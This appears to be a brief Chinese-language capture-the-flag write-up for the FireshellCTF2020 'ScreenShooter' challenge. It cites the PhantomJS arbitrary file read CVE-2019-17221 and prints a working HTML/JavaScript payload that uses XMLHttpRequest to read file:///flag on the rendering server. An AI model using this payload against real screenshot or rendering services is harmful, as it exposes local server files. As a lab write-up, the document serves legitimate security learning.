[FireshellCTF2020]ScreenShooter
解题步骤
在vps上监听2333端口,然后在url提交:
然后可以得到信息:
网上搜到PhantomJS有cve:https://github.com/h4ckologic/CVE-2019-17221/blob/master/PhantonJS_Arbitrary_File_Read.pdf
然后在vps上编辑html:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var test = new XMLHttpRequest;
test.onload = function(){
document.write(this.responseText)
};
test.open("GET","file:///flag");
test.send();
</script>
</body>
</html>
然后回到网页上提交url即可: